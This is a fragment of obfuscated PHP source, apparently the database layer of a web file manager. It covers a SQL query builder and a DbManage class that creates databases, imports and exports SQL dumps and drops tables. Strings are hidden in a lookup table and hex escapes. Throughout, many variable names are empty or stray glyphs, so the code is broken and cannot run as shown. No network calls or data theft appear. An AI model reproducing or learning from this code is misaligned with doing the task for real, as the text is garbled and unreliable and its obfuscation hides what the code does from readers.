return $醾; } public function __call($ߡҡ, $ۍ) { if (method_exists($this, $ߡҡ)) { return call_user_func_array(array($this, $ߡҡ), $ۍ); } } protected function _getDsnType($ǻ) { $ۧᳶ = explode($_SERVER[][4], $ǻ); $ = strtoupper(trim($ۧᳶ[0])); return $; } private function parseConfig($ = '') { $ =& $_SERVER[]; if (!empty($) && is_string($)) { $ = $this->parseDSN($); } elseif (is_array($)) { $ = array_change_key_case($); $ = array($[963] => $[$[969]], $[890] => $[$[970]], $[891] => $[$[971]], $[888] => $[$[972]], $[889] => $[$[973]], $[21] => $[$[974]], $[918] => $[$[975]], $[17] => isset($[$[976]]) ? $[$[976]] : array()); } elseif (empty($)) { if (think_config($[977]) && $[966] != strtolower(think_config($[978]))) { $ = $this->parseDSN(think_config($[977])); } else { $ = array($[963] => think_config($[978]), $[890] => think_config($[979]), $[891] => think_config($[980]), $[888] => think_config($[981]), $[889] => think_config($[982]), $[21] => think_config($[246]), $[918] => think_config($[977]), $[17] => think_config($[983])); } } return $; } protected function initConnect($ = true) { if (1 == think_config($_SERVER[][22])) { $this->_linkID = $this->multiConnect($); } else { if ($this->config) { $this->configLast = $this->config; } } if (!$this->connected) { $this->_linkID = $this->connect(); } } protected function closeConnect() { if (!$this->connected) { return; } foreach ($this->linkID as $ => $Ȏ) { $this->_linkID = $Ȏ; $this->close(); } $this->linkID = array(); $this->_linkID = null; $this->connected = !1; if (!$this->config && $this->configLast) { $this->config = $this->configLast; } } protected function multiConnect($þ = false) { $މ =& $_SERVER[]; static $㇆ = array(); static $Ǭ = -1; if (empty($㇆)) { foreach ($this->config as $ɄɃ => $) { $㇆[$ɄɃ] = explode($މ[50], $); } } if (think_config($މ[984])) { if ($þ || think_config($މ[395]) === !0) { $җ = floor(mt_rand(0, think_config($މ[985]) - 1)); $Ǭ = $җ; } else { if (is_numeric(think_config($މ[986]))) { $җ = think_config($މ[986]); } else { $җ = floor(mt_rand(think_config($މ[985]), count($㇆[$މ[888]]) - 1)); } } } else { $җ = floor(mt_rand(0, count($㇆[$މ[888]]) - 1)); $Ǭ = $җ; } $җ = $Ǭ !== -1 ? $Ǭ : $җ; $ = array($މ[890] => isset($㇆[$މ[890]][$җ]) ? $㇆[$މ[890]][$җ] : $㇆[$މ[890]][0], $މ[891] => isset($㇆[$މ[891]][$җ]) ? $㇆[$މ[891]][$җ] : $㇆[$މ[891]][0], $މ[888] => isset($㇆[$މ[888]][$җ]) ? $㇆[$މ[888]][$җ] : $㇆[$މ[888]][0], $މ[889] => isset($㇆[$މ[889]][$җ]) ? $㇆[$މ[889]][$җ] : $㇆[$މ[889]][0], $މ[21] => isset($㇆[$މ[21]][$җ]) ? $㇆[$މ[21]][$җ] : $㇆[$މ[21]][0], $މ[918] => isset($㇆[$މ[918]][$җ]) ? $㇆[$މ[918]][$җ] : $㇆[$މ[918]][0], $މ[17] => isset($㇆[$މ[17]][$җ]) ? $㇆[$މ[17]][$җ] : $㇆[$މ[17]][0]); return $this->connect($, $җ); } public function parseDSN($) { $Đ =& $_SERVER[]; if (empty($)) { return !1; } $ǁ = parse_url($); if ($ǁ[$Đ[181]]) { $ɺ = array($Đ[963] => $ǁ[$Đ[181]], $Đ[890] => isset($ǁ[$Đ[590]]) ? $ǁ[$Đ[590]] : $Đ[12], $Đ[891] => isset($ǁ[$Đ[987]]) ? $ǁ[$Đ[987]] : $Đ[12], $Đ[888] => isset($ǁ[$Đ[182]]) ? $ǁ[$Đ[182]] : $Đ[12], $Đ[889] => isset($ǁ[$Đ[183]]) ? $ǁ[$Đ[183]] : $Đ[12], $Đ[21] => isset($ǁ[$Đ[84]]) ? substr($ǁ[$Đ[84]], 1) : $Đ[12]); } else { preg_match($Đ[988], trim($), $); $ɺ = array($Đ[963] => $[1], $Đ[890] => $[2], $Đ[891] => $[3], $Đ[888] => $[4], $Đ[889] => $[5], $Đ[21] => $[6]); } $ɺ[$Đ[918]] = $Đ[12]; return $ɺ; } protected function debug() { $˕ =& $_SERVER[]; $this->modelSql[$this->model] = $this->queryStr; $this->model = $˕[989]; if (think_config($˕[990])) { think_status($˕[991]); think_trace($this->queryStr . $˕[992] . think_status($˕[24], $˕[991], 6) . $˕[993], $˕[12], $˕[994]); } } protected function parseLock($ = false) { $ =& $_SERVER[]; if (!$) { return $[12]; } if ($[920] == $this->dbType) { return $[995]; } return $[996]; } protected function parseSet($끤) { $ =& $_SERVER[]; foreach ($끤 as $ø => $) { if (is_array($) && $[297] == $[0]) { $荡[] = $this->parseKey($ø) . $[886] . $[1]; } elseif (is_scalar($) || is_null($)) { $荡[] = $this->parseKey($ø) . $[886] . $this->parseValue($); } } return $[997] . implode($[50], $荡); } protected function bindParam($ܯѲ, $헌) { $this->bind[$_SERVER[][4] . $ܯѲ] = $헌; } protected function parseBind($ለ) { $ለ = array_merge($this->bind, $ለ); $this->bind = array(); return $ለ; } function parseKey(&$Ș, $ĥ = true) { if ($ĥ) { $Ș = $this->parseKeyCheck($Ș); } return $Ș; } function parseKeyCheck($Ԩک) { $ԣ =& $_SERVER[]; $Ԩک = trim($Ԩک); if (!preg_match($ԣ[998], $Ԩک)) { think_exception($ԣ[999] . $Ԩک); } return $Ԩک; } protected function parseValue($րī) { $Ӻ =& $_SERVER[]; if (is_string($րī)) { $րī = $Ӻ[959] . $this->escapeString($րī) . $Ӻ[959]; } elseif (isset($րī[0]) && is_string($րī[0]) && strtolower($րī[0]) == $Ӻ[297]) { $րī = $this->escapeString($րī[1]); } elseif (is_array($րī)) { $րī = array_map(array($this, $Ӻ[960]), $րī); } elseif (is_bool($րī)) { $րī = $րī ? $Ӻ[88] : $Ӻ[198]; } elseif (is_null($րī)) { $րī = $Ӻ[103]; } return $րī; } protected function parseField($̋) { $ =& $_SERVER[]; if (is_string($̋) && strpos($̋, $[50])) { $̋ = explode($[50], $̋); } if (is_array($̋)) { $ﴧ = array(); foreach ($̋ as $Ս֑ => $ŏ) { if (!is_numeric($Ս֑)) { $ﴧ[] = $this->parseKey($Ս֑, !1) . $[1000] . $this->parseKey($ŏ); } else { $ﴧ[] = $this->parseKey($ŏ); } } $̌ = implode($[50], $ﴧ); } elseif (is_string($̋) && !empty($̋)) { $̌ = $̋; } else { $̌ = $[189]; } return $̌; } protected function parseTable($Ζ) { $ݼ =& $_SERVER[]; if (is_array($Ζ)) { $ȴ = array(); foreach ($Ζ as $ => $) { if (!is_numeric($)) { $ȴ[] = $this->parseKey($) . $ݼ[53] . $this->parseKey($); } else { $ȴ[] = $this->parseKey($); } } $Ζ = $ȴ; } elseif (is_string($Ζ)) { if (strstr($Ζ, $ݼ[53])) { return $Ζ; } $Ζ = explode($ݼ[50], $Ζ); array_walk($Ζ, array($this, $ݼ[908])); } return $ݼ[902] . trim(implode($ݼ[1001], $Ζ), $ݼ[385]) . $ݼ[902]; } protected function parseWhere($) { $滝 =& $_SERVER[]; $ʨ = $滝[12]; if (is_string($)) { $ʨ = $; } else { $ή = isset($[$滝[1002]]) ? strtoupper($[$滝[1002]]) : $滝[12]; if (in_array($ή, array($滝[1003], $滝[1004], $滝[1005]))) { $ή = $滝[53] . $ή . $滝[53]; unset($[$滝[1002]]); } else { $ή = $滝[1006]; } foreach ($ as $ => $Ę) { $ʨ .= $滝[277]; if (is_numeric($)) { $ = $滝[1007]; } if (0 === strpos($, $滝[11])) { $ʨ .= $this->parseThinkWhere($, $Ę); } else { if (!preg_match($滝[1008], trim($))) { think_exception(think_lang($滝[1009]) . $滝[4] . $); } $Ϯ = is_array($Ę) && isset($Ę[$滝[1010]]); $ = trim($); if (strpos($, $滝[283])) { $݆ = explode($滝[283], $); $ = array(); foreach ($݆ as $Ĝ => $ͯ) { $ = $Ϯ ? $Ę[$Ĝ] : $Ę; $[] = $滝[260] . $this->parseWhereItem($this->parseKey($ͯ), $) . $滝[907]; } $ʨ .= implode($滝[1011], $); } elseif (strpos($, $滝[284])) { $݆ = explode($滝[284], $); $ = array(); foreach ($݆ as $Ĝ => $ͯ) { $ = $Ϯ ? $Ę[$Ĝ] : $Ę; $[] = $滝[260] . $this->parseWhereItem($this->parseKey($ͯ), $) . $滝[907]; } $ʨ .= implode($滝[1006], $); } else { $ʨ .= $this->parseWhereItem($this->parseKey($), $Ę); } } $ʨ .= $滝[278] . $ή; } $ʨ = substr($ʨ, 0, -strlen($ή)); } return empty($ʨ) ? $滝[12] : $滝[1012] . $ʨ; } protected function parseWhereItem($ɿ, $) { $ =& $_SERVER[]; $ = $[12]; if (is_array($)) { if (is_string($[0])) { $փ = strtolower($[0]); if (in_array($[0], array($[886], $[1013], $[1014], $[1015], $[1016], $[1017]))) { $ .= $ɿ . $[53] . $[0] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1018], $[0])) { $ .= $ɿ . $[53] . $this->exp[$փ] . $[53] . $this->parseValue($[1]); } elseif (preg_match($[1019], $[0])) { if (is_array($[1])) { $ǁ = isset($[2]) ? strtoupper($[2]) : $[1004]; if (in_array($ǁ, array($[1003], $[1004], $[1005]))) { $ = array(); foreach ($[1] as $) { $[] = $ɿ . $[53] . $this->exp[$փ] . $[53] . $this->parseValue($); } $ .= $[260] . implode($[53] . $ǁ . $[53], $) . $[907]; } } else { $ .= $ɿ . $[53] . $this->exp[$փ] . $[53] . $this->parseValue($[1]); } } elseif ($[297] == $փ) { $ .= $[905] . $ɿ . $[53] . $[1] . $[1020]; } elseif (preg_match($[1021], $[0])) { $ .= $[0]; } elseif (preg_match($[1022], $[0])) { if (isset($[2]) && $[297] == $[2]) { $ .= $ɿ . $[53] . $this->exp[$փ] . $[53] . $[1]; } else { if (is_string($[1])) { $[1] = explode($[50], $[1]); } $ǝ = implode($[50], $this->parseValue($[1])); $ .= $ɿ . $[53] . $this->exp[$փ] . $[905] . $ǝ . $[907]; } } elseif (preg_match($[1023], $[0])) { $Д = is_string($[1]) ? explode($[50], $[1]) : $[1]; $ .= $[905] . $ɿ . $[53] . $this->exp[$փ] . $[53] . $this->parseValue($Д[0]) . $[1006] . $this->parseValue($Д[1]) . $[278]; } else { think_exception(think_lang($[1009]) . $[4] . $[0]); } } else { $ = count($); $ = $[12]; if (is_string($[$ - 1])) { $ = isset($[$ - 1]) ? strtoupper($[$ - 1]) : $[12]; if (in_array($, array($[1003], $[1004], $[1005]))) { $ = $ - 1; } } else { $ = $[1003]; } for ($ = 0; $ < $; $++) { $Д = is_array($[$]) ? $[$][1] : $[$]; if ($[297] == strtolower($[$][0])) { $ .= $[260] . $ɿ . $[53] . $Д . $[1020] . $ . $[53]; } else { $ſ = is_array($[$]) ? $this->exp[strtolower($[$][0])] : $[886]; if (!$ſ && is_array($[$]) && in_array($[$][0], array($[886], $[1013], $[1014], $[1015], $[1016], $[1017]))) { $ſ = $[$][0]; } $ .= $[260] . $ɿ . $[53] . $ſ . $[53] . $this->parseValue($Д) . $[1020] . $ . $[53]; } } $ = substr($, 0, -4); } } else { $ .= $ɿ . $[1024] . $this->parseValue($); } return $; } protected function parseThinkWhere($, $) { $͓ =& $_SERVER[]; $Ҳ = $͓[12]; switch ($) { case $͓[352]: $Ҳ = $; break; case $͓[1007]: $Ҳ = is_string($) ? $ : substr($this->parseWhere($), 6); break; case $͓[1025]: parse_str($, $); if (isset($[$͓[1002]])) { $ƹσ = $͓[53] . strtoupper($[$͓[1002]]) . $͓[53]; unset($[$͓[1002]]); } else { $ƹσ = $͓[1006]; } $ = array(); foreach ($ as $ => $) { $[] = $this->parseKey($) . $͓[1024] . $this->parseValue($); } $Ҳ = implode($ƹσ, $); break; } return $Ҳ; } protected function parseLimit($˹) { $ =& $_SERVER[]; return !empty($˹) ? $[51] . $˹ . $[53] : $[12]; } protected function parseJoin($֪) { $Џ࣑ =& $_SERVER[]; $ = $Џ࣑[12]; if (!empty($֪)) { if (is_array($֪)) { foreach ($֪ as $ȿ => $Ɲ̀) { if (!1 !== stripos($Ɲ̀, $Џ࣑[1026])) { $ .= $Џ࣑[53] . $Ɲ̀; } else { $ .= $Џ࣑[1027] . $Ɲ̀; } } } else { $ .= $Џ࣑[1027] . $֪; } } $ = preg_replace($Џ࣑[1028], think_config($Џ࣑[932]) . $Џ࣑[1029], $); return $; } protected function parseOrder($) { $ =& $_SERVER[]; if (is_array($)) { $ = array(); foreach ($ as $ => $) { if (is_numeric($)) { $[] = $this->parseKey($); } else { $ = in_array(strtoupper(trim($)), array($[1030], $[1031])) ? $[53] . $ : $[12]; if (preg_match($[1032], $)) { $[] = $this->parseKey($) . $; } else { think_exception($[1033] . $); } } } $ = implode($[50], $); } return !empty($) ? $[1034] . $ : $[12]; } protected function parseGroup($Ž) { $ֆ =& $_SERVER[]; return !empty($Ž) ? $ֆ[1035] . $Ž : $ֆ[12]; } protected function parseHaving($) { $Ȍ =& $_SERVER[]; return !empty($) ? $Ȍ[1036] . $ : $Ȍ[12]; } protected function parseComment($ܣ涷) { $ =& $_SERVER[]; return !empty($ܣ涷) ? $[1037] . $ܣ涷 . $[1038] : $[12]; } protected function parseDistinct($Ϗ) { $Ѫ =& $_SERVER[]; return !empty($Ϗ) ? $Ѫ[1039] : $Ѫ[12]; } protected function parseUnion($妀) { $笉Ѓ =& $_SERVER[]; if (empty($妀)) { return $笉Ѓ[12]; } if (isset($妀[$笉Ѓ[348]])) { $Ì = $笉Ѓ[1040]; unset($妀[$笉Ѓ[348]]); } else { $Ì = $笉Ѓ[1041]; } foreach ($妀 as $ֆ) { $ԑ[] = $Ì . (is_array($ֆ) ? $this->buildSelectSql($ֆ) : $ֆ); } return implode($笉Ѓ[53], $ԑ); } public function insert($, $ = array(), $ = false) { $ =& $_SERVER[]; $Ϙ = $ޱ = array(); $this->model = $[$[281]]; foreach ($ as $ᓩ => $ۭ) { if (is_array($ۭ) && $[297] == $ۭ[0]) { $ޱ[] = $this->parseKey($ᓩ); $Ϙ[] = $ۭ[1]; } elseif (is_scalar($ۭ) || is_null($ۭ)) { $ޱ[] = $this->parseKey($ᓩ); $Ϙ[] = $this->parseValue($ۭ); } } $Ø = ($ ? $[909] : $[910]) . $[911] . $this->parseTable($[$[279]]) . $[905] . implode($[50], $ޱ) . $[906] . implode($[50], $Ϙ) . $[907]; $Ø .= $this->parseLock(isset($[$[842]]) ? $[$[842]] : !1); $Ø .= $this->parseComment(!empty($[$[354]]) ? $[$[354]] : $[12]); return $this->execute($Ø, $this->parseBind(!empty($[$[285]]) ? $[$[285]] : array())); } public function selectInsert($, $˱, $ = array()) { $ =& $_SERVER[]; $this->model = $[$[281]]; if (is_string($)) { $ = explode($[50], $); } array_walk($, array($this, $[908])); $֕ = $[1042] . $this->parseTable($˱) . $[905] . implode($[50], $) . $[1020]; $֕ .= $this->buildSelectSql($); return $this->execute($֕, $this->parseBind(!empty($[$[285]]) ? $[$[285]] : array())); } public function update($, $) { $˜ =& $_SERVER[]; $this->model = $[$˜[281]]; $ɘ = $˜[1043] . $this->parseTable($[$˜[279]]) . $this->parseSet($) . $this->parseWhere(!empty($[$˜[275]]) ? $[$˜[275]] : $˜[12]) . $this->parseOrder(!empty($[$˜[365]]) ? $[$˜[365]] : $˜[12]) . $this->parseLimit(!empty($[$˜[292]]) ? $[$˜[292]] : $˜[12]) . $this->parseLock(isset($[$˜[842]]) ? $[$˜[842]] : !1) . $this->parseComment(!empty($[$˜[354]]) ? $[$˜[354]] : $˜[12]); return $this->execute($ɘ, $this->parseBind(!empty($[$˜[285]]) ? $[$˜[285]] : array())); } public function delete($뭞̡ = array()) { $ =& $_SERVER[]; $this->model = $뭞̡[$[281]]; $掫 = $[1044] . $this->parseTable($뭞̡[$[279]]) . $this->parseWhere(!empty($뭞̡[$[275]]) ? $뭞̡[$[275]] : $[12]) . $this->parseOrder(!empty($뭞̡[$[365]]) ? $뭞̡[$[365]] : $[12]) . $this->parseLimit(!empty($뭞̡[$[292]]) ? $뭞̡[$[292]] : $[12]) . $this->parseLock(isset($뭞̡[$[842]]) ? $뭞̡[$[842]] : !1) . $this->parseComment(!empty($뭞̡[$[354]]) ? $뭞̡[$[354]] : $[12]); return $this->execute($掫, $this->parseBind(!empty($뭞̡[$[285]]) ? $뭞̡[$[285]] : array())); } public function select($㝊 = array()) { $ֿԥ =& $_SERVER[]; $this->model = $㝊[$ֿԥ[281]]; $ = $this->buildSelectSql($㝊); $˹ = isset($㝊[$ֿԥ[349]]) ? $㝊[$ֿԥ[349]] : !1; if ($˹) { $ؿЍ = is_string($˹[$ֿԥ[94]]) ? $˹[$ֿԥ[94]] : $ֿԥ[1045] . md5($); $Ҟ = think_cache($ؿЍ, $ֿԥ[12], $˹); if (!1 !== $Ҟ) { return $Ҟ; } } $֦ = $this->query($, $this->parseBind(!empty($㝊[$ֿԥ[285]]) ? $㝊[$ֿԥ[285]] : array())); if ($˹ && !1 !== $֦) { think_cache($ؿЍ, $֦, $˹); } return $֦; } public function buildSelectSql($ = array()) { $轭 =& $_SERVER[]; if (isset($[$轭[353]])) { if (strpos($[$轭[353]], $轭[50])) { list($ߥ, $¢) = explode($轭[50], $[$轭[353]]); } else { $ߥ = $[$轭[353]]; } $ߥ = $ߥ ? $ߥ : 1; $¢ = isset($¢) ? $¢ : (is_numeric($[$轭[292]]) ? $[$轭[292]] : 20); $į = $¢ * ((int) $ߥ - 1); $[$轭[292]] = $į . $轭[50] . $¢; } if (think_config($轭[1046])) { $ = $轭[1047] . md5(serialize($)); $ҡ = think_cache($); if ($ҡ) { return $ҡ; } } $ = $this->parseSql($this->selectSql, $); $ .= $this->parseLock(isset($[$轭[842]]) ? $[$轭[842]] : !1); if (isset($)) { think_cache($, $); } return $; } public function parseSql($Ǹׁ, $ = array()) { $ =& $_SERVER[]; $Ǹׁ = str_replace(array($[1048], $[1049], $[1050], $[1051], $[1052], $[1053], $[1054], $[1055], $[1056], $[1057], $[1058]), array($this->parseTable("{$[$[279]]}"), $this->parseDistinct(isset($[$[1059]]) ? $[$[1059]] : !1), $this->parseField(!empty($[$[273]]) ? $[$[273]] : $[189]), $this->parseJoin(!empty($[$[282]]) ? $[$[282]] : $[12]), $this->parseWhere(!empty($[$[275]]) ? $[$[275]] : $[12]), $this->parseGroup(!empty($[$[505]]) ? $[$[505]] : $[12]), $this->parseHaving(!empty($[$[1060]]) ? $[$[1060]] : $[12]), $this->parseOrder(!empty($[$[365]]) ? $[$[365]] : $[12]), $this->parseLimit(!empty($[$[292]]) ? $[$[292]] : $[12]), $this->parseUnion(!empty($[$[347]]) ? $[$[347]] : $[12]), $this->parseComment(!empty($[$[354]]) ? $[$[354]] : $[12])), $Ǹׁ); return $Ǹׁ; } public function getLastSql($ = '') { return $ ? $this->modelSql[$] : $this->queryStr; } public function getLastInsID() { return $this->lastInsID; } public function getError() { return $this->error; } public function escapeString($˴) { return addslashes($˴); } public function setModel($) { $this->model = $; } public function getDbType() { return $this->dbType; } public function __destruct() { if ($this->queryID) { $this->free(); } $this->close(); } public function close() { } } class DbManage { function __construct($Ǒ = array()) { $ϛȱ =& $_SERVER[]; if (empty($Ǒ)) { $Ǒ = $GLOBALS[$ϛȱ[6]][$ϛȱ[21]]; } $this->database = $Ǒ; } public function model($ӊ = '') { return new ModelBase($ӊ, $_SERVER[][12], $this->database); } public function db($輪 = false) { $ї =& $_SERVER[]; $ڠ = array_change_key_case($this->database); if ($this->dbType() == $ї[13] || !$輪) { return $this->model()->db(); } $ = $ڠ[$ї[974]]; $ڠ[$ї[974]] = $ї[12]; if ($ڠ[$ї[969]] == $ї[966]) { $ֹ = $ڠ[$ї[975]]; $ڠ[$ї[975]] = substr($ֹ, 0, strrpos($ֹ, $ї[1061])); } $this->database = $ڠ; $ = $this->model()->db(); try { $ژ = $->execute("\x73\x68\157\167\x20\x64\x61\x74\141\142\x61\x73\x65\x73\40\x6c\x69\153\145\x20\x27{$}\x27"); } catch (Exception $ʩ͘) { } if (!$ژ) { $->execute("\x63\162\145\141\x74\145\40\144\x61\164\x61\x62\141\163\145\40\x60{$}\x60"); } $ڠ[$ї[974]] = $; if ($ڠ[$ї[969]] == $ї[966]) { $ڠ[$ї[975]] .= $ї[1061] . $; } $this->database = $ڠ; $->execute("\x75\163\145\x20\140{$}\140"); return $; } public function createTable($ɉ, &$瀗) { $ =& $_SERVER[]; if (!IO::exist($ɉ)) { ActionCall($[1062], !0, 0); show_json(LNG($[1063]), !1); } $ = $this->model()->db(); $ę = sqlSplit(IO::getContent($ɉ)); foreach ($ę as $) { $Ă = stripos($, $[1064]) === 0; if ($Ă) { $瀗->task[$[785]] += 1; } $->execute($); if ($Ă) { preg_match($[1065], $, $Ōұ); $瀗->task[$[1066]] = $Ōұ[1]; $瀗->update(1); } } } public function insertTable($풲, &$֠) { $ɒӥ =& $_SERVER[]; $ = $this->model()->db(); $ = $ ? array($) : $->getTables(); foreach ($풲 as $в) { $ = basename($в, $ɒӥ[787]); if (!in_array($, $)) { continue; } $֠->task[$ɒӥ[1066]] = $; if (get_filesize($в) == 0) { continue; } $ڠ = $this->sqlToDb($в, $֠); if (!$ڠ) { ActionCall($ɒӥ[1062], !0, 0); show_json(LNG($ɒӥ[1067]) . "\133{$}\135", !1); } } } public function sqlFromDb($ע䦝, $ޕ, &$, $ = '') { if ($) { $->task[$_SERVER[][1066]] = $ע䦝; } $ = $this->model($ע䦝); $ = 0; $ = 0; $̱ӫ = 10000; $ϔ = fopen($ޕ, $_SERVER[][1068]); $Ԁ = $->getPk(); $מ = $->getDbFields(); $ؙ = $_SERVER[][12]; if ($GLOBALS[$_SERVER[][786]] && in_array($ע䦝, array($_SERVER[][1069], $_SERVER[][1070]))) { $ؙ = $ע䦝; } do { $ = array($Ԁ => array($_SERVER[][1016], $)); $ = $->where($)->field($מ)->order($Ԁ . $_SERVER[][1071])->limit($̱ӫ)->select(); $ = !empty($) ? $ : array(); if (!($ = count($))) { break; } $Б = end($); $ = $Б[$Ԁ]; $쭘 = array(); foreach ($ as $) { if ($ؙ) { if ($ע䦝 == $_SERVER[][1069]) { if ($[$_SERVER[][33]] == $_SERVER[][1072]) { $ͤ = json_decode($[$_SERVER[][374]], !0); if ($ͤ[$_SERVER[][32]] == $GLOBALS[$_SERVER[][786]] && $ͤ[$_SERVER[][748]] != 1) { continue; } } } else { if ($[$_SERVER[][33]] == $_SERVER[][1073] && $[$_SERVER[][94]] == $_SERVER[][778]) { continue; } } } if ($) { $[$_SERVER[][84]] = "\x7b\x69\x6f\x3a{$}\x7d" . substr($[$_SERVER[][84]], strlen("\173\x69\157\72{$[$_SERVER[][816]]}\x7d")); $[$_SERVER[][816]] = $; } $쭘[] = $_SERVER[][1074] . $this->sqlEncode($) . $_SERVER[][1075]; } $Ί = "\111\116\x53\105\x52\124\40\111\116\124\117\x20\140{$ע䦝}\140\x20\x28\x60" . implode($_SERVER[][1076], $מ) . $_SERVER[][1077]; fwrite($ϔ, $Ί . implode($_SERVER[][1078], $쭘) . $_SERVER[][71] . PHP_EOL); $ += $; if ($) { $->update($); } } while ($̱ӫ == $); fclose($ϔ); return $; } public function sqlToDb($, &$) { $Ꝩ =& $_SERVER[]; $ݚ = $this->model()->db(); $އߺ = @fopen($, $Ꝩ[1079]); if (!$އߺ) { return !1; } $ = 0; $Ѭ = $Ꝩ[12]; $ = array(); $ڏ = $this->dbType(); $̱ = $ڏ == $Ꝩ[13] ? 500 : 2000; $һ = basename($, $Ꝩ[787]); $ӏ = 0; $ = 4194304 - 104858; $Ͼ = 1000000 - 104858; while (!feof($އߺ)) { $㳭 = trim(fgets($އߺ)); if (!$㳭) { continue; } $ޕ = $this->sqlDecode($㳭, $ڏ, $һ); if (stripos($ޕ, $Ꝩ[355]) === 0) { if (!$Ѭ) { $Ѭ = $ޕ . $Ꝩ[53]; } continue; } if ($) { $->task[$Ꝩ[785]] += 1; } $++; $[] = rtrim(rtrim(trim($ޕ), $Ꝩ[50]), $Ꝩ[71]); $ = null; $ી = strlen($ޕ); $ӏ += $ી; if ($ӏ >= ($̱ == 500 ? $Ͼ : $)) { $ = array_pop($); if ($ > 1) { $--; } } if ($ >= $̱ || $) { $ޕ = $Ѭ . implode($Ꝩ[50], $); if (!$ݚ->execute($ޕ)) { return !1; } if ($) { $->update($); } $ = array(); $ = 0; $ӏ = 0; if ($) { $ = array($); $ = 1; $ӏ = $ી; } } } fclose($އߺ); if (!empty($)) { $ޕ = $Ѭ . implode($Ꝩ[50], $); if (!$ݚ->execute($ޕ)) { return !1; } if ($) { $->update($); } } return !0; } public function dropTable($ = null) { $ѧގ = $this->model()->db(); $ = $ ? array($) : $ѧގ->getTables(); if (!$) { return; } foreach ($ as $) { if ($) { $ = strtolower($); } else { continue; } $ѧގ->execute("\144\x72\x6f\x70\40\x74\x61\x62\154\145\x20\151\x66\x20\145\x78\151\x73\x74\x73\x20\x60{$}\x60"); } } private function sqlEncode($) { $И =& $_SERVER[]; $ = array(); foreach ($ as $) { if (is_array($)) { $ = json_encode_force($); } $ = addslashes($); $ = str_replace(array($И[1080], $И[231]), array($И[1081], $И[1082]), $); $[] = str_replace($И[58], $И[1083], $); } return $И[58] . implode($И[1084], $) . $И[58]; } private function sqlDecode($, $, $ڪ = '') { $ =& $_SERVER[]; $ = str_replace(array($[1081], $[1082]), array($[1080], $[231]), $); if ($ == $[13]) { return $ڪ != $[1085] ? stripslashes($) : $; } if ($ڪ == $[1085]) { $ = str_replace($[1086], $[118], stripslashes($)); } return $; } public function getSqlFile($͓ = '') { $͆ =& $_SERVER[]; $ށº = $this->dbType(!0); $ = CONTROLLER_DIR . "\151\x6e\163\164\x61\154\154\x2f\x64\141\164\x61\57{$ށº}\x2e\x73\161\154"; $ڪ = file_get_contents($); $Ő = $͆[1087] . ($ށº == $͆[803] ? $͆[1088] : $͆[1089]) . $͆[1090]; preg_match_all($Ő, $ڪ, $Ѷ); $ = $Ѷ[1]; $ʬܻ = $this->model()->db(); $ = $ʬܻ->getTables(); $嬯 = TEMP_FILES . $͆[1091] . date($͆[749]) . $͆[8]; del_dir($嬯); mk_dir($嬯); $㑚 = $嬯 . $͆[1092]; $ڥ = $嬯 . $͆[1093]; $ = $ށº == $͆[13] ? $͆[803] : $͆[13]; IO::copy(CONTROLLER_DIR . "\x69\x6e\163\x74\141\x6c\154\57\x64\x61\164\141\x2f{$}\56\x73\x71\x6c", $嬯); @touch($嬯 . $ށº . $͆[787]); $ܪ = fopen($㑚, $͆[1068]); $Ϸ = fopen($ڥ, $͆[1068]); if ($ށº == $͆[13]) { $ = array_diff($, array($͆[783], $͆[784])); $ڲ = array($͆[1094], $͆[1095], $͆[1096]); fwrite($Ϸ, implode(PHP_EOL, $ڲ) . PHP_EOL . PHP_EOL); foreach ($ as $ȶ) { $ = $this->sqlFromSqlite($ȶ); if (!$[$͆[13]]) { continue; } fwrite($Ϸ, $[$͆[13]] . PHP_EOL . PHP_EOL); if (!in_array($ȶ, $)) { fwrite($ܪ, $[$͆[803]] . PHP_EOL . PHP_EOL); } } } else { foreach ($ as $ȶ) { $ = $this->sqlFromMysql($ȶ); if (!$[$͆[803]]) { continue; } fwrite($ܪ, $[$͆[803]] . PHP_EOL . PHP_EOL); if (!in_array($ȶ, $)) { fwrite($Ϸ, $[$͆[13]] . PHP_EOL . PHP_EOL); } } } fclose($ܪ); fclose($Ϸ); $ڪ = array($͆[803] => $㑚, $͆[13] => $ڥ); return $͓ ? $ڪ[$͓] : $ڪ; } public function dbType($٩ = false) { $ =& $_SERVER[]; $◊ = $٩ ? $GLOBALS[$[6]][$[21]] : $this->database; $◊ = array_change_key_case($◊); $ = $◊[$[969]]; if ($ == $[966]) { $Р = explode($[4], $◊[$[975]]); $ = $Р[0]; } $ = array($[1097] => $[13], $[914] => $[803]); if (isset($[$])) { $ = $[$]; } return $; } public function sqlFromMysql($ֿ̣, $ = '') { $ح =& $_SERVER[]; $ = $this->model()->db(); $ = $->query($ح[1098] . $ֿ̣ . $ح[385]); if (!$ || !$[0]) { return !1; } $ = _get($[0], $ح[1099], $ح[12]); if (!$) { return !1; } $ۅ = "\x44\x52\x4f\120\x20\x54\101\x42\114\x45\40\x49\x46\40\x45\x58\111\123\124\123\x20\x60{$ֿ̣}\x60\x3b" . PHP_EOL . $ . $ح[71]; if ($ && $ == $ح[803]) { return $ۅ; } $ِ = array_change_key_case($GLOBALS[$ح[6]][$ح[21]]); $ņ = $ِ[$ح[974]]; $¾ = $ح[1100] . $ņ . $ح[1101] . $ֿ̣ . $ح[58]; $Շ = $ح[1102] . $ֿ̣ . $ح[902]; $ñ = $->query($¾); if (empty($ñ)) { $䪪 = array($ح[803] => $ح[12], $ح[13] => $ح[12]); return $ ? $䪪[$] : $䪪; } $͗ = $->query($Շ); $ = $ح[12]; $ = array(); foreach ($͗ as $߄) { if (!$ && $߄[$ح[1103]] == $ح[1104]) { $ = $߄[$ح[1105]]; } if (isset($[$߄[$ح[1103]]])) { $[$߄[$ح[1103]]][$ح[1106]][] = $߄[$ح[1105]]; continue; } $[$߄[$ح[1103]]] = array($ح[1107] => $߄[$ح[1103]], $ح[1106] => array($߄[$ح[1105]]), $ح[1108] => $߄[$ح[1109]] == $ح[88] ? 0 : 1); } $ = array(); foreach ($ as $߄) { $ = $߄[$ح[1107]] == $ح[1104]; $ؗ = array($ح[1110], $߄[$ح[1108]] == $ح[88] && !$ ? $ح[1111] : $ح[12], $ح[1112], $ح[1113] . $ֿ̣ . $ح[11] . ($ ? $ح[1114] : $߄[$ح[1107]]) . $ح[118], $ح[1115], $ح[118] . $ֿ̣ . $ح[118], $ح[1116] . implode($ح[1117], $߄[$ح[1106]]) . $ح[1118]); $[] = implode($ح[53], $ؗ) . $ح[71]; } $Ñ = array(); $݈܉ = array($ح[1119] => $ح[1120], $ح[1120] => $ح[1120], $ح[288] => $ح[315], $ح[287] => $ح[315]); foreach ($ñ 